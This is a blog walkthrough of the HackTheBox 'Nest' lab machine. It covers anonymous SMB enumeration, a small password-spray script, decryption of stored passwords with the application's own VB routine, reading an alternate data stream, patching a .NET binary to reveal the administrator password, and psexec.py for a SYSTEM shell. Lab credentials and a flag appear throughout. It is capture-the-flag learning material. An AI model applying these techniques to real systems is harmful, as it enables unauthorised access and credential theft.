HackTheBox - Nest

HackTheBox - Nest

Nest is one of my favorite machines after Forest, I learned a lot about enumeration here, especially for SMB.

The machine starts with anonymous access on SMB, which allows me to obtain credentials of a temporary user. With user-level access, it is possible to read another file shares in order to obtain an encrypted password and a VB project that can be used to decrypt the password. The password allows me to enable debug mode on a custom app and read an encrypted Administrator password. The admin password can be decrypted by reversing the app.

Skills Learned

  • SMB enumeration
  • Alternate Data Stream
  • Reversing .NET

Tools

Reconnaissance

Nmap

nmap shows two ports open: SMB on port 445, and an unknown service on port 4386, but the fingerprints show it as ‘Reporting Service V1.2’.

→ root@iamf «nest» «192.168.43.234»
$ nmap -p1-5000 -sC -sV -oA nmap/nest 10.10.10.178
Nmap scan report for htb.nest (10.10.10.178)
PORT    STATE SERVICE       VERSION
445/tcp open  microsoft-ds?
4386/tcp open  unknown                                                                                       
| fingerprint-strings:                                                                                       
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: 
|     Reporting Service V1.2                                                                                 
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     Reporting Service V1.2
|     Unrecognised command
|   Help:          
|     Reporting Service V1.2
|     This service allows users to run queries against databases using the legacy HQK format
|     AVAILABLE COMMANDS ---                  
|     LIST   
|     SETDIR <Directory_Name>
|     RUNQUERY <Query_ID>          
|     DEBUG <Password>
|_    HELP <Command> 

Host script results:
|_clock-skew: -27s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-04-28T15:16:46
|_  start_date: 2020-04-28T04:20:37

Enumeration

TCP 445 - SMB

Anonymous access is allowed here.

→ root@iamf «nest» «192.168.43.234»
$ smbclient -N -L //10.10.10.178/
image-20210416095936362

Data share

Enumeration on Data share with recurse mode shows two text files.

image-20210416095856849

One of them is empty while the other one contains credentials for TempUser:Welcome2019.

→ root@iamf «smb» «192.168.43.234»
$ cat loot/Welcome\ Email.txt
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019


Thank you
HR

With TempUsers, I can access the Secure$ share.

image-20210416100016140

Unfortunately, once I got to Secure$ share, I couldn’t list any single directory.

→ root@iamf «smb» «192.168.43.234»
$  smbclient -U 'TempUser%welcome2019' //10.10.10.178/Secure$ 
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \Finance\*
NT_STATUS_ACCESS_DENIED listing \HR\*
NT_STATUS_ACCESS_DENIED listing \IT\*

On the other hand, I did a user enumeration using rpcclient.

image-20210416100040356

With a little knowledge of scripting, I can filter the user.

→ root@iamf «nest» «192.168.43.234»
$  rpcclient -U 'TempUser%welcome2019' -c 'enumdomusers;quit' 10.10.10.178 | tr -d '[]' | cut -d ':' -f2 | cut -d ' ' -f1
Administrator
C.Smith
Guest
Service_HQK
TempUser

I did a password spray using a simple bash script with a pattern of username:username, but no luck

#!/bin/bash
for u in `cat rpcusers.txt`; do 
 echo -n “[*] user : $u&& 
 rpcclient -U “$u%$u” -c “getusername;quit” 10.10.10.178
done

I also check on users’ information to find a plain password in the description, but only end up knowing that the user flag is on c.smith.

img

I went back to SMB, I decided to download all the content in the Data share.

→ root@iamf «loot» «192.168.43.234»
$ smbget -R smb://10.10.10.178/Data/ -U TempUser  # or use mget * inside smbclient

Here is the folder structure on Data

→ root@iamf «Data» «192.168.43.234»
$ tree
.
├── IT
│   ├── Archive
│   ├── Configs
│   │   ├── Adobe
│   │   │   ├── editing.xml
│   │   │   ├── Options.txt
│   │   │   ├── projects.xml
│   │   │   └── settings.xml
│   │   ├── Atlas
│   │   │   └── Temp.XML
│   │   ├── DLink
│   │   ├── Microsoft
│   │   │   └── Options.xml
│   │   ├── NotepadPlusPlus
│   │   │   ├── config.xml
│   │   │   └── shortcuts.xml
│   │   ├── RU Scanner
│   │   │   └── RU_config.xml
│   │   └── Server Manager
│   ├── Installs
│   ├── Reports
│   └── Tools
├── Production
├── Reports
└── Shared
    ├── Maintenance
    │   └── Maintenance Alerts.txt
    └── Templates
        ├── HR
        │   └── Welcome Email.txt
        └── Marketing

Notepad++ config on Data/IT/Configs/NotepadPlusPlus/config.xml contains interesting path.

...[SNIP]...
    <History nbMaxFile="15" inSubMenu="no" customLength="-1">
        <File filename="C:\windows\System32\drivers\etc\hosts" />
        <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
        <File filename="C:\Users\C.Smith\Desktop\todo.txt" />
    </History>
</NotepadPlus>

In /Data/IT/Configs/RU Scanner/RU_config.xml, I found a pair credentials for user c.smith.

→ root@iamf «RU Scanner» «192.168.43.234»
$ cat RU_config.xml
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>389</Port>
  <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

At first glance, the password looks like a base64 encoded, but it is encrypted:

→ root@iamf «RU Scanner» «192.168.43.234»
$ echo 'fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=' | base64 -d
}13☺□♥□=X□J□BA□↓☺X*□Wc□f□□□?βc◄

Secure$ share

User carl doesn’t appear on my enumeration with rpcclient, so after discovering this path \\HTB-NEST\Secure$\IT\Carl\, I went back to Secure$ share and performed a recursive download there.

→ root@iamf «Data» «192.168.43.234»
$ smbget -R smb://10.10.10.178/Secure$/IT/Carl/ -U TempUser

Here is the Secure$ structure.

→ root@iamf «Secure$» «192.168.43.234»
$ tree
.
├── Docs
│   ├── ip.txt
│   └── mmc.txt
├── Reports
└── VB Projects
    ├── Production
    └── WIP
        └── RU
            ├── RUScanner
            │   ├── bin
            │   │   ├── Debug
            │   │   └── Release
            │   ├── ConfigFile.vb
            │   ├── Module1.vb
            │   ├── My Project
            │   │   ├── Application.Designer.vb
            │   │   ├── Application.myapp
            │   │   ├── AssemblyInfo.vb
            │   │   ├── Resources.Designer.vb
            │   │   ├── Resources.resx
            │   │   ├── Settings.Designer.vb
            │   │   └── Settings.settings
            │   ├── obj
            │   │   └── x86
            │   ├── RU Scanner.vbproj
            │   ├── RU Scanner.vbproj.user
            │   ├── SsoIntegration.vb
            │   └── Utils.vb
            └── RUScanner.sln

I just downloaded a whole VB Project!

Based on Module1.vb’s content, RU_config.xml is loaded to the application, and from this line .Password = Utils.DecryptString(Config.Password), I know this application is able to decrypt c.smith’s password.

 root@iamf «WIP» «192.168.43.234»
$ cat RU/RUScanner/Module1.vb
Module Module1

    Sub Main()
        Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
        Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}

    End Sub

End Module

Foothold

Access as c.smith

Decrypting c.smith password

The encrypted password can be decrypted easily by taking out the utils class and the decrypt function from Utils.vb, then call it on the main function. I used https://dotnetfiddle.net/ for this.

Here is how it looks like.

Imports System
Imports System.Text
Imports System.Security.Cryptography

Public Module Module1
	Public Sub Main()
		Dim encryptedPassword
		encryptedPassword = "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="
		Console.WriteLine("Decrypted Password: " +Utils.DecryptString(encryptedPassword))
	End Sub
End Module


Public Class Utils
    Public Shared Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
        Else
            Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function
    Public Shared Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _
                                               plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()

        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)
        Return plainText
    End Function
End Class

Now I have c.smith’s password: xRxRxPANCAK3SxRxRx.

image-20210416080029703

Users share

With c.smith credentials, I do more enumeration on SMB. First, I’ll look into the c.smith home directory.

→ root@iamf «smb» «192.168.43.234»
$ smbclient -U 'c.smith%xRxRxPANCAK3SxRxRx' //10.10.10.178/Users 
Try "help" to get a list of possible commands.
smb: \C.Smith\> dir
  .                                   D        0  Sun Jan 26 02:21:44 2020
  ..                                  D        0  Sun Jan 26 02:21:44 2020
  HQK Reporting                       D        0  Thu Aug  8 19:06:17 2019
  user.txt                            A       32  Thu Aug  8 19:05:24 2019

I downloaded those files recursively to my machine.

→ root@iamf «c.smith» «192.168.43.234»
$ tree
.
├── HQK Reporting
│   ├── AD Integration Module
│   │   └── HqkLdap.exe
│   ├── Debug Mode Password.txt
│   └── HQK_Config_Backup.xml
└── user.txt

user.txt is the user flag.

→ root@iamf «c.smith» «192.168.43.234»
$ cat user.txt
cf71b25404be5d84fd827e05f426e987

HQK_Config_Backup.xml doesn’t contains any useful information

→ root@iamf «c.smith» «192.168.43.234»
$ cat HQK\ Reporting/HQK_Config_Backup.xml
<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>4386</Port>
  <QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>

Debug Mode Password.txt is empty file. But when I thought it was empty, I asked a hint for this.

This file is embedded with Alternate Data Stream (ADS). By using the allinfo command on the SMB, I can see it contains another data stream, Password:$Data.

image-20210525005607779

To get that stream, I can just append :Password:$Data at the end of the file name.

smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    Thu Aug  8 07:06:12 PM 2019 EDT
access_time:    Thu Aug  8 07:06:12 PM 2019 EDT
write_time:     Thu Aug  8 07:08:17 PM 2019 EDT
change_time:    Thu Aug  8 07:08:17 PM 2019 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt":Password:$DATA
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA of size 15 as Debug Mode Password.txt:Password:$DATA (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

Now I can use the cat command to see the file content.

→ root@iamf «c.smith» «192.168.43.234»
$ cat Debug\ Mode\ Password.txt:Password:\$DATA
WBQ201953D8w

Privilege Escalation

Shell as SYSTEM

Examination on HQK Reporting Service v1.2

When visiting http://10.10.10.178:4386/, the browser return a session timeout with > symbol, this can imply that this service is cli-based

With telnet, I can access this service.

→ root@iamf «c.smith» «192.168.43.234»
$ telnet 10.10.10.178 4386
image-20210416083748311

The service has debug mode and enabling it shows more commands.

>debug WBQ201953D8w
image-20210416083637321

Took me a minute to understand the commands, so basically:

  • LIST is to list directory,
  • SHOWQUERY is to show file content,
  • RUNQUERY is to execute.
  • SETDIR is change directory.

Looking up into the LDAP directory, there’s ldap.conf that contains administrator credentials with another encrypted password.

img

I have a copy of HqkLdap.exe from the previous loot on c.smith’s directory, and I will copy that from Kali to my Windows to inspect it. I will also create a copy of the Ldap.conf file.

Reversing HqkLdap.exe

Running strings HqkLdap.exe against the app reveals that it was built with.NET.

image-20210416085451866

There is a very useful tool for reversing and debugging .NET applications called dnSpy. It’s free on Github.

I will open HqkLdap.exe on dnSpy and go straight to the application main function.

img

To run this program properly, a config file, which is ldap.conf, must be supplied as an argument to the application, and it also needs the existence of HqkDbImport.exe (These two files must be placed in the same folder with HqkLdap.exe).

image-20210416091107297

So if I run it and I don’t pass the check, it will complain like this:

PS C:\Users\fahmi\Desktop>.\HqkLdap.exe Ldap.conf
Please ensure the optional database import module is installed

Next, I look at the decrypt function, which is called on the main when the check is passed.

img

On the next block, I see ldapSearchSettings.Password is assigned to ldap.Password

img

Exploitation

To exploit this HqkLdap.exe, I will:

  • Remove the part of codes that used to check for the existence of HqkDbImport.exe
  • Add another line to print out the password from ldap.Password.

I’ll use the edit feature to edit the main class.

image-20210416093818613

Also, I’ll get rid of the line that is used to check the existence of HqkDbImport.exe

public static void Main()
{
  checked
  { 
    try
    {
      if (MyProject.Application.CommandLineArgs.Count != 1) 
      {
        Console.WriteLine("Invalid number of command line arguments");
      }
      else if (!File.Exists(MyProject.Application.CommandLineArgs[0]))
      {
        Console.WriteLine("Specified config file does not exist");
      }
      else {
...[SNIP] ...

Then I’ll add a new line code on the main function at line 56 to print ldap.Password to the console.

img

I tried to compile it back but then there was an error about the unassigned local variable ’enumerator’. I deleted the following line and attempted to re-compile the binary, and it worked.

image-20210416094537134

Now I can just run with the ldap.conf supplied as its argument, and it pops the password out.

img

The password is: XtH4nkS4Pl4y1nGX.

psexec.py

These credentials can be used with ps-exec.py

→ root@iamf «c.smith» «192.168.43.234»
$ psexec.py HTB-NEST/Administrator:XtH4nkS4Pl4y1nGX@10.10.10.178
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.10.10.178.....
[*] Found writable share ADMIN$
[*] Uploading file nQyIIpWk.exe
[*] Opening SVCManager on 10.10.10.178.....
[*] Creating service gfCe on 10.10.10.178.....
[*] Starting service gfCe.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Reference